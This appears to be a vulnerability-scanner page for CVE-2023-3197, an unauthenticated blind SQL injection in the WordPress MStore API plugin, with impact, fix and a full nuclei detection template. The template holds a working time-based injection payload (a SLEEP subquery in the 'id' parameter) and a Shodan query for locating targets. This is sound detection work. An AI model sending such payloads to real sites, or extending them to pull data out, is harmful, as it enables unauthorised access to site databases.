WordPress MStore API <= 4.0.1 - Unauthenticated SQL Injection

criticalseverity

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

MStore API plugin for WordPress up to version 4.0.1 contains an unauthenticated blind SQL injection caused by insufficient escaping of 'id' parameter in SQL queries, letting attackers execute arbitrary SQL commands without authentication, exploit requires sending crafted requests with malicious 'id' parameter.

Impact

Attackers can extract sensitive database information, potentially leading to data breach and compromise of the website.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: GET /wp-json/api/flutter_multi_vendor/product-categories
Positive when: status_code == 200 and contains_all(body,"has_children","display")
Send: @timeout: 15s
Positive when: duration >= 6 and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-3197 -u <target>

The full check

id: CVE-2023-3197

info:
  name: WordPress MStore API <= 4.0.1 - Unauthenticated SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    MStore API plugin for WordPress up to version 4.0.1 contains an unauthenticated blind SQL injection caused by insufficient escaping of 'id' parameter in SQL queries, letting attackers execute arbitrary SQL commands without authentication, exploit requires sending crafted requests with malicious 'id' parameter.
  impact: |
    Attackers can extract sensitive database information, potentially leading to data breach and compromise of the website.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3197
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/30aab1af-a78f-4bac-b3c5-30ea854ccef7?source=cve
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"/mstore-api/"
  tags: cve,cve2023,wordpress,wp-plugin,wp,sqli,mstore-api,wp,unauth,time-based

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/api/flutter_multi_vendor/product-categories HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body,"has_children","display")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 15s
        GET /wp-json/api/flutter_multi_vendor/product-categories?id=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP(6))a) HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from